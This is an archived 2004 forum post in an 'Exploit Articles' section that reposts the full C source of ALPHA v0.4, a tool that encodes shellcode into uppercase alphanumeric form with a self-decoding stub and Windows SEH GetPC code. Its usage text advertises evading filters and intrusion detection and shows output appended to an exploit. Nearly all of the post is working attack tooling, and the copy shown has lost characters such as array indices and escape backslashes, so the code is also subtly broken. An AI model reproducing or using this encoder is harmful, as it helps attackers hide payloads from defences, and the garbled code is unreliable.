hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Help - Search - Member List - Calendar
Full Version: Alphanumeric Getpc Code And Shellcode Encoder-deco
GovernmentSecurity.org > The Archives > Exploit Articles
cyrixx
Jan 30 2004, 01:11 PM
CODE
//alphanumeric_opcodes_defines.h
#ifndef _alphanumeric_opcodes_defines_
 #define _alphanumeric_opcodes_defines_

 // ALPHA NUMERIC OPCODES

 #define XOR8_       "0" // xor a byte in memory with an 8 bit register
 #define XOR32_     "1" // xor 32 bits in memory with a 32 bit register
 #define XOR8_X_     "2" // xor an 8 bit register with a byte in memory
 #define XOR32_X_   "3" // xor a 32 bit register with 32 bits in memory
 #define XOR_AL_I_   "4" // xor the al register with a immediate byte
 #define XOR_EAX_I_ "5" // xor the eax register with a immediate 32 bit value
 #define SS         "6"
 #define AAA         "7"
 #define CMP8_       "8" // cmp a byte in memory with an 8 bit register
 #define CMP32_     "9" // xor 32 bits in memory with a 32 bit register

 #define INC_ECX   "A"
 #define INC_EDX   "B"
 #define INC_EBX   "C"
 #define INC_ESP   "D"
 #define INC_EBP   "E"
 #define INC_ESI   "F"
 #define INC_EDI   "G"

 #define DEC_EAX   "H"
 #define DEC_ECX   "I"
 #define DEC_EDX   "J"
 #define DEC_EBX   "K"
 #define DEC_ESP   "L"
 #define DEC_EBP   "M"
 #define DEC_ESI   "N"
 #define DEC_EDI   "O"

 #define PUSH_EAX   "P"
 #define PUSH_ECX   "Q"
 #define PUSH_EDX   "R"
 #define PUSH_EBX   "S"
 #define PUSH_ESP   "T"
 #define PUSH_EBP   "U"
 #define PUSH_ESI   "V"
 #define PUSH_EDI   "W"

 #define POP_EAX   "X"
 #define POP_ECX   "Y"
 #define POP_EDX   "Z"

 // 8 BIT ALPHA NUMERIC PARAMETERS
 #define DH_MEAX   "0"
 #define DH_MECX   "1"
 #define DH_MEDX   "2"
 #define DH_MEBX   "3"
 #define DH_MR_     "4"   // 2nd param. is 1 byte (a combination of two registers)
 #define DH_MI_     "5"   // 2nd param. is 32 bit immediate value
 #define DH_MESI   "6"
 #define DH_MEDI   "7"
 #define BH_MEAX   "8"
 #define BH_MECX   "9"

 #define AL_MECX_O8_   "A"
 #define AL_MEDX_O8_   "B"
 #define AL_MEBX_O8_   "C"
 #define AL_MESP_O8_   "D"
 #define AL_MEBP_O8_   "E"
 #define AL_MESI_O8_   "F"
 #define AL_MEDI_O8_   "G"

 #define CL_MEAX_O8_   "H"
 #define CL_MECX_O8_   "I"
 #define CL_MEDX_O8_   "J"
 #define CL_MEBX_O8_   "K"
 #define CL_MESP_O8_   "L"
 #define CL_MEBP_O8_   "M"
 #define CL_MESI_O8_   "N"
 #define CL_MEDI_O8_   "O"

 #define DL_MEAX_O8_   "P"
 #define DL_MECX_O8_   "Q"
 #define DL_MEDX_O8_   "R"
 #define DL_MEBX_O8_   "S"
 #define DL_MESP_O8_   "T"
 #define DL_MEBP_O8_   "U"
 #define DL_MESI_O8_   "V"
 #define DL_MEDI_O8_   "W"

 #define BL_MEAX_O8_   "X"
 #define BL_MECX_O8_   "Y"
 #define BL_MEDX_O8_   "Z"

 // 32 BIT ALPHA NUMERIC PARAMETERS

 #define ESI_MEAX "0"
 #define ESI_MECX "1"
 #define ESI_MEDX "2"
 #define ESI_MEBX "3"
 #define ESI_MR_   "4"   // 2nd param. is 1 byte (see below)
 #define ESI_MI_   "5"   // 2nd param. is 32 bit immediate value
 #define ESI_MESI "6"
 #define ESI_MEDI "7"
 #define EDI_MEAX "8"
 #define EDI_MECX "9"

 // all the following have a 1 byte second parameter containing an offset
 #define EAX_MECX_O8_   "A"
 #define EAX_MEDX_O8_   "B"
 #define EAX_MEBX_O8_   "C"
 #define EAX_MESP_O8_   "D"
 #define EAX_MEBP_O8_   "E"
 #define EAX_MESI_O8_   "F"
 #define EAX_MEDI_O8_   "G"

 #define ECX_MEAX_O8_   "H"
 #define ECX_MECX_O8_   "I"
 #define ECX_MEDX_O8_   "J"
 #define ECX_MEBX_O8_   "K"
 #define ECX_MESP_O8_   "L"
 #define ECX_MEBP_O8_   "M"
 #define ECX_MESI_O8_   "N"
 #define ECX_MEDI_O8_   "O"

 #define EDX_MEAX_O8_   "P"
 #define EDX_MECX_O8_   "Q"
 #define EDX_MEDX_O8_   "R"
 #define EDX_MEBX_O8_   "S"
 #define EDX_MESP_O8_   "T"
 #define EDX_MEBP_O8_   "U"
 #define EDX_MESI_O8_   "V"
 #define EDX_MEDI_O8_   "W"

 #define EBX_MEAX_O8_   "X"
 #define EBX_MECX_O8_   "Y"
 #define EBX_MEDX_O8_   "Z"

 // ALPHA NUMERIC SECOND PARAMETERS

 #define MEAXESI "0"
 #define MECXESI "1"
 #define MEDXESI "2"
 #define MEBXESI "3"
 #define MESPESI "4"
 #define MESI_I32_ "5"   // 3rd parameters is a 32 bit immediate value
 #define MESIESI "6"
 #define MEDIESI "7"
 #define MEAXEDI "8"
 #define MECXEDI "9"

 #define EAX_MECX_x2   "A"
 #define EAX_MEDX_x2   "B"
 #define EAX_MEBX_x2   "C"
 #define EAX_MESP_x2   "D"
 #define EAX_x2_I32_   "E"   // 3rd parameters is a 32 bit immediate value
 #define EAX_MESI_x2   "F"
 #define EAX_MEDI_x2   "G"

 #define ECX_MEAX_x2   "H"
 #define ECX_MECX_x2   "I"
 #define ECX_MEDX_x2   "J"
 #define ECX_MEBX_x2   "K"
 #define ECX_MESP_x2   "L"
 #define ECX_x2_I32_   "M"   // 3rd parameters is a 32 bit immediate value
 #define ECX_MESI_x2   "N"
 #define ECX_MEDI_x2   "O"

 #define EDX_MEAX_x2   "P"
 #define EDX_MECX_x2   "Q"
 #define EDX_MEDX_x2   "R"
 #define EDX_MEBX_x2   "S"
 #define EDX_MESP_x2   "T"
 #define EDX_x2_I32_   "U"   // 3rd parameters is a 32 bit immediate value
 #define EDX_MESI_x2   "V"
 #define EDX_MEDI_x2   "W"

 #define EBX_MEAX_x2   "X"
 #define EBX_MECX_x2   "Y"
 #define EBX_MEDX_x2   "Z"
#endif

//ALPHA_04.c
/*
     ,sSSs,,s,   ALPHA v0.4 beta.
   SS"   Y$P"
   iS'   dY     Captitalized alphanumeric shellcode encoding.
   YS,   dSb     Copyright (C) 2004 by Berend-Jan Wever.
   `"YSS'"S'     < skylined@edup.tudelft.nl>
*/

#include < stdio.h>
#include < stdlib.h>
#include < sys/time.h>
#include "alphanumeric_opcodes_defines.h"

#define xorcode1     0x41
#define xorcode2     0x3f
#define IMUL         "x6b"
#define CONST_0x10   "x10"
#define JNE         "x75"

//-----------------------------------------------------------------------------
struct baseaddress_options_struct {
 char* option; // name of option
 char* code; // the code
} baseaddress_options[] = {
//   We're using "xor offset(%edx), %al" and similar instructions for xor-
//   patching and decoding the origional code to keep it all alphanumeric.
//   %edx and %ecx must point to the baseaddess of the shellcode, we add one of
//   the following pieces of code to set the %ecx and %edx register.
//   Since offset must be at least 0x30, we can't patch any instructions before
//   baseaddress+0x30 without tricks. We could offcourse just add padding but
//   then we'd have useless bytes in our decoder taking up space. We can also
//   lower %edx and %ecx to reach these otherwise unreachable instructions: The
//   "dec %edx" and "dec %ecx" instructions combine padding and decreasing to
//   reduce the size of the decoder.
 { "eax",       PUSH_EAX POP_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX
               PUSH_EDX POP_ECX   },
 { "ebx",       PUSH_EBX POP_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX
               PUSH_EDX POP_ECX   },
 { "ecx",       DEC_ECX   DEC_ECX   DEC_ECX   DEC_ECX   DEC_ECX   DEC_ECX   PUSH_ECX
               POP_EDX   },
 { "edx",       DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX   PUSH_EDX
               POP_ECX   },
 { "esp",       PUSH_ESP POP_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX
               PUSH_EDX POP_ECX   },
 { "ebp",       PUSH_EBP POP_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX
               PUSH_EDX POP_ECX   },
 { "esi",       PUSH_ESI POP_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX
               PUSH_EDX POP_ECX   },
 { "edi",       PUSH_EDI POP_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX
               PUSH_EDX POP_ECX   },
 { "[esp-8]",   DEC_ESP   DEC_ESP   DEC_ESP   DEC_ESP   DEC_ESP   DEC_ESP   DEC_ESP
               DEC_ESP   POP_EDX   DEC_EDX   PUSH_EDX POP_ECX   },
 { "[esp-4]",   DEC_ESP   DEC_ESP   DEC_ESP   DEC_ESP   POP_EDX   DEC_EDX   DEC_EDX
               DEC_EDX   PUSH_EDX POP_ECX   },
 { "[esp]",     POP_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX   DEC_EDX   PUSH_EDX
               POP_ECX   },
 { "[esp+4]",   INC_ESP   INC_ESP   INC_ESP   INC_ESP   POP_EDX   DEC_EDX   DEC_EDX
               DEC_EDX   PUSH_EDX POP_ECX   },
 { "[esp+8]",   INC_ESP   INC_ESP   INC_ESP   INC_ESP   INC_ESP   INC_ESP   INC_ESP
               INC_ESP   POP_EDX   DEC_EDX   PUSH_EDX POP_ECX   },
 { NULL, NULL }
};

char* decoder_allowed_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
// 'Z' terminates decoding and is thus not allowed in the encoded data.
char* encoded_allowed_chars = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXY";
// Taken from the win32 SEH GetPC project. This code uses fs to get the current
// SEH address and overwrites it with a new SEH. Then it causes an exception,
// passing execution to the new SEH. This SEH can determine the location where
// the exception took place from the information provided about the exception.
// It then transfers execution back to the code behind the exception, passing
// the location of that code along in %ecx. Should work 100% of the time.
char* w32SEHGetPC_code =
 "VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089";
// The uppercase version of this code can not use %fs. It will assume the start
// of the SEH chain is at the top of the stack and you have not used more then
// 65536 bytes of stack. It will take %esp and set the lower two bytes to
// 0xffe4. The resulting address SHOULD point to the last SEH in the chain,
// which it will overwrite and call similair to the "normal" win32 SEH GetPC.
// Remember that it hyjacks the LAST SEH, if an earlier SEH handles the
// exception, the code will not work! Should work 99.9% of the time.
char* w32SEHGetPC_uppercase_code =
 "VTX630WTX638VXH49HHHPVX5AAQQPVX5YYYYP5YYYD5KKYAPTTX638TDDNVDDX4Z4A63861816";

//-----------------------------------------------------------------------------
char* decoder_code_skeleton =
// Asume %edx = %ecx = baseaddress - baseaddress_adjust (see above)

// Get a 0x0 in a register ----------------------------------------------------
     PUSH_ESI                           // %esi = 0x0
     PUSH_ESP
     POP_EAX
     SS XOR32_X_ ESI_MEAX               // xor   %ss:(%eax), %esi

// XOR-patching ---------------------------------------------------------------
     PUSH_ESI
     POP_EAX
     XOR_AL_I_ "A"                     // al = xorcode1
     // decode 0x10 for imul instruction
     XOR8_ AL_MEDX_O8_ "a"             // xor %al, offset_0x10(%edx)
     // decode 0x6b for imul instruction
     DEC_EAX DEC_EAX                   // %al = xorcode2 (space saver;)
     XOR8_ AL_MEDX_O8_ "b"             // xor %al, offset_imul(%edx)
     // decode 0x75 for jne instruction
     XOR8_ AL_MEDX_O8_ "c"             // xor %al, offset_jne(%edx)

     // The "c"(+1) also marks beginning of the decoder loop!

// Decode byte1 into low nibble -----------------------------------------------
     // Read
     PUSH_ESI                           // %eax = 0x0
     POP_EAX
     XOR8_X_ AL_MEDX_O8_ "#"           // xor bufferoffset(%edx), %al   (byte1)
     INC_EDX
     // Decode
     DEC_EAX                           // %al--                       (byte1-1)
     XOR_AL_I_ "x41"                   // %al ^=0x41               (lownibble)
     // Store
     XOR8_X_ AL_MECX_O8_ "#"           // xor bufferoffset(%ecx), %al
     XOR8_ AL_MECX_O8_ "#"             // xor %al, bufferoffset(%ecx)

// Decode byte2 into high nibble ----------------------------------------------
     // Read and decode in one;)         imul $0x10, bufferoffset(%edx), %eax
     IMUL EAX_MEDX_O8_ "#" CONST_0x10   // %al = byte2 * 0x10   (highnibble)
     INC_EDX
     // Store
     XOR8_ AL_MECX_O8_ "#"             // xor %al, bufferoffset(%ecx)
     INC_ECX

// While loop, checks for terminating 'Z' -------------------------------------
     PUSH_ESI                           // %eax = '0'
     POP_EAX
     XOR_AL_I_ "Z"                     // xor $0x30, %al
     CMP8_ AL_MEDX_O8_ "#"             // cmp %al, bufferoffset(%edx)

     JNE "de";

//-----------------------------------------------------------------------------
void fprintf_spaces(FILE *stream, int length) {
 while(length-- > 0) fprintf(stream, " ");
}

//-----------------------------------------------------------------------------
void fprintf_banner(FILE* stream) {
 fprintf(stream, "n
______________________________________________________________________________n
n
     ,sSSs,,s,   ALPHA v0.4 beta.n
   SS"   Y$P"n
   iS'   dY     Captitalized alphanumeric shellcode encoding.n
   YS,   dSb     Copyright (C) 2003, 2004 by Berend-Jan Wever.n
   `"YSS'"S'     < skylined@edup.tudelft.nl>n
______________________________________________________________________________n
n
");
}
//-----------------------------------------------------------------------------
void fprintf_usage(FILE* stream, char* name) {
 fprintf(stream, "n
Usage: %s OPTIONSn
 Reads shellcode from stdin and encodes it to stdout to contain only uppercasen
 alphanumeric characters (0-9 and A-Z).n
n
 The result consist of a decoder and encoded shellcode data, it is a fullyn
 working uppercase alphanumeric version of the origional shellcodecode. Thisn
 encoding can be used to bypass filters or IDS systems.n
 The decoder needs to know it's exact baseaddress, you can specify where then
 shellcode can get it's baseaddress from with the -r, -w or -W options.n
n
Options:n
 -c CHARACTER STRING           Specify a set of prefered characters, then
                             encoded data will contain as many of thesen
                             characters as possible. You can even supplyn
                             lowercase and non-alphanumeric characters.n
 -b REGISTER|STACK LOCATION   Specify the register or stack location that willn
                             contain the baseaddress. Accepted values are:n
                             eax, ebx, ecx, edx, esi, edi, esp, ebp, [esp-8],n
                             [esp-4], [esp], [esp+4], [esp+8]n
 -w, -W                       Add code to calculate the baseaddress using then
                             Structured Exception Handler (SEH). This onlyn
                             works on Microsft Windows operating systems.n
                             The -w options adds code that will allways work n
                             but has lowercase characters in it. The -Wn
                             option adds code that will work 99%% of the timen
                             but is 100%% uppercase. See source code forn
                             details.n
n
Examples:n
 cat shellcode | %s -b eax > encoded_shellcoden
 cat shellcode | %s -w | encoded_win32_shellcoden
 cat shellcode | %s -b [esp-4] -c abcdefghijklmnopqrstuvwxyz >> exploitn
n
", name, name, name, name);
}


char* find_baseaddress_code(char* option) {
 int i = 0;
 while(baseaddress_options.option) {
   if (strcasecmp(option, baseaddress_options.option) == 0 )
     return baseaddress_options.code;
   i++;
 }
 fprintf_banner(stderr);
 fprintf(stderr, "Error: baseaddress code for '%s' not found!n", option);
 exit(-1);
}

//-----------------------------------------------------------------------------
int main(int argc, char* argv[], char* envp[]) {
 char   *GetPC_code = "",
       *baseaddress_code = "",
       *decoder_code = "";
 int   GetPC_code_size = 0,
       baseaddress_code_size = 0,
       decoder_code_size = 0;
 int   origional_code_size, encoded_data_size, total_size;

 extern char *optarg;
 int   opt;

 int   i;
 int   input, lownibble, highnibble, lownibble_encoded, highnibble_encoded;

 int   baseaddress_adjust;
 int   offset_xor_patch_0x10, offset_0x10,
       offset_xor_patch_imul, offset_imul,
       offset_xor_patch_jne,   offset_jne,
       offset_start_loop, offset_end_loop, offset_loop,
       offset_buffer;
 char   *prefered_encode_chars = "";

 // Random seed
 struct timeval tv;
 struct timezone tz;
 gettimeofday(&tv, &tz);
 srand((int)tv.tv_sec*tv.tv_usec);

 // Parse command line arguments
 while ( (opt = getopt(argc, argv, "b:c:wW?")) != -1) {
   switch (opt) {
     case 'b':
       // baseaddress
       baseaddress_code = find_baseaddress_code(optarg);
     break;
     case 'c':
       // prefered characters
       prefered_encode_chars = optarg;
       // 'Z' terminates decoding and is thus never allowed.
       if (strchr(prefered_encode_chars, 'Z') != 0 ) {
         fprintf_banner(stderr);
         fprintf(stderr, "Error: allowed characters cannot contain 'Z'.n");
         exit(-1);
       }
     break;
     case 'w':
       // add Windows SEH GetPC code
       GetPC_code = w32SEHGetPC_code;
       baseaddress_code = find_baseaddress_code("ecx");
     break;
     case 'W':
       // add uppercase Windows SEH GetPC code
       GetPC_code = w32SEHGetPC_uppercase_code;
       baseaddress_code = find_baseaddress_code("ecx");
     break;
     case '?':
       fprintf_banner(stdout);
       fprintf_usage(stdout, argv[0]);
       exit(0);
   }
 }
 // Calculate size of sme parts of the code and create a writeable
 // copy of the decoder.
 GetPC_code_size = strlen(GetPC_code);
 baseaddress_code_size = strlen(baseaddress_code);
 decoder_code_size = strlen(decoder_code_skeleton);
 decoder_code = (char*)malloc(decoder_code_size);
 strcpy(decoder_code, decoder_code_skeleton);

 // Check if required information was provided on the command-line
 if (baseaddress_code_size==0) {
   fprintf_banner(stderr);
   fprintf_usage(stderr, argv[0]);
   exit(-1);
 }

 baseaddress_adjust = 0;
 for(i=0; i< baseaddress_code_size; i++)
   if (baseaddress_code == *DEC_EDX ||
       baseaddress_code == *DEC_ECX )
     baseaddress_adjust++;

 // Calculate some offsets and set them in the decoder
 offset_xor_patch_0x10 = (int)strchr(decoder_code, 'a') - (int)decoder_code;
 offset_xor_patch_imul = (int)strchr(decoder_code, 'b') - (int)decoder_code;
 offset_xor_patch_jne   = (int)strchr(decoder_code, 'c') - (int)decoder_code;
 offset_start_loop     = offset_xor_patch_jne+1;
 offset_imul           = (int)strchr(decoder_code, *IMUL) - (int)decoder_code;
 offset_0x10           = (int)strchr(decoder_code, 0x10) - (int)decoder_code;
 offset_jne             = (int)strchr(decoder_code, *JNE) - (int)decoder_code;
 offset_buffer         = offset_jne+1;
 offset_end_loop       = offset_jne+2;

 // The code needs to be xor_patched to be alpha numeric
 decoder_code[offset_0x10] ^= xorcode1;
 decoder_code[offset_imul] ^= xorcode2;
 decoder_code[offset_jne]   ^= xorcode2;

 // The xor_patches need to know the offset where to patch the code.
 decoder_code[offset_xor_patch_0x10] = (char)(baseaddress_code_size
                                       + offset_0x10 + baseaddress_adjust);
 decoder_code[offset_xor_patch_imul] = (char)(baseaddress_code_size
                                       + offset_imul + baseaddress_adjust);
 decoder_code[offset_xor_patch_jne]   = (char)(baseaddress_code_size
                                       + offset_jne + baseaddress_adjust);

 // A lot of instructions in the decoder need the offset of the buffer from
 // the start of the code, adjusted for the "dec %edx" optimization.
 while (strchr( decoder_code, '#') != 0) {
   *(char*)strchr( decoder_code, '#') = (char)(baseaddress_code_size
                                         + offset_buffer
                                         + baseaddress_adjust);
 }

 // The "jne" loop has a negative offset, which is not alphanumeric. But
 // since the decoder has allready decoded the first byte before the jne
 // is reached, we can encode it as if it was part of the shellcode.
 offset_loop = offset_start_loop - offset_end_loop;
 lownibble = (offset_loop & 0xf);
 highnibble = (offset_loop & 0xf0) >>4;
 lownibble_encoded = (lownibble ^ 0x41) + 1;
 lownibble_encoded = (lownibble ^ 0x41) + 1;
 highnibble_encoded = (highnibble == 0x0 ? 0x50 : highnibble+0x40);
 decoder_code[offset_buffer] = (char)lownibble_encoded;
 decoder_code[offset_buffer+1] = (char)highnibble_encoded;

 // Check decoder for bad characters:
 for (i=0;i< strlen(decoder_code);i++)
   if (!strchr(decoder_allowed_chars, decoder_code)) {
     fprintf(stderr, "Build error: The decoder contains bad characters!n"
                     "byte #%d: 0x%02xnn", i, (unsigned int)decoder_code);
     exit(-1);
   }

 // Output GetPC_code, baseaddress_code and decoder_code:
 printf("%s%s%s", GetPC_code, baseaddress_code, decoder_code);

 // Output encoded shellcode:
 origional_code_size = 0;
 encoded_data_size = 2;
 while ((input = getchar()) != EOF) {
   origional_code_size++;
   encoded_data_size+=2;
   lownibble = (input & 0x0f);
   highnibble = (input & 0xf0) >> 4;
   lownibble_encoded   = (lownibble ^ 0x41) + 1;

   // the upper 4 bits of highnibble are discarded during decoding, so you can
   // put anything in them as long as it's alphanumeric.
   i = rand() % strlen(encoded_allowed_chars);
   while((encoded_allowed_chars & 0xf) != highnibble) {
     i++; i %= strlen(encoded_allowed_chars);
   }
   highnibble_encoded = encoded_allowed_chars;

   if (strlen(prefered_encode_chars) != 0) {
     for(i=0;i< strlen(prefered_encode_chars); i++) {
       if ((prefered_encode_chars & 0xf) == highnibble) {
         highnibble_encoded = prefered_encode_chars;
         break;
       }
     }
   }

   printf("%c%c", lownibble_encoded, highnibble_encoded);
 }
 // Output end of data marker:
 printf("Z");

 fprintf_banner(stderr);
 total_size = GetPC_code_size+baseaddress_code_size+decoder_code_size
             +encoded_data_size;
 fprintf(stderr, "Origional code       : %d bytes.n", origional_code_size);
 if (GetPC_code_size > 0)
   fprintf(stderr, "   GetPC code         : %d bytes.n", GetPC_code_size);
 fprintf(stderr, "   Baseaddress code   : %d bytes, baseaddress adjustment= "
                 "%d.n", baseaddress_code_size, -baseaddress_adjust);
 fprintf(stderr, "   Decoder code       : %d bytes.n", decoder_code_size);
 fprintf(stderr, "   Encoded data       : %d bytes.n", encoded_data_size);
 fprintf(stderr, "Total resulting code : %d bytes (%.0f%% of origional).n",
                 total_size, (double)100*total_size/origional_code_size);
 return 0;
}


hope, this is right here smile.gif
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.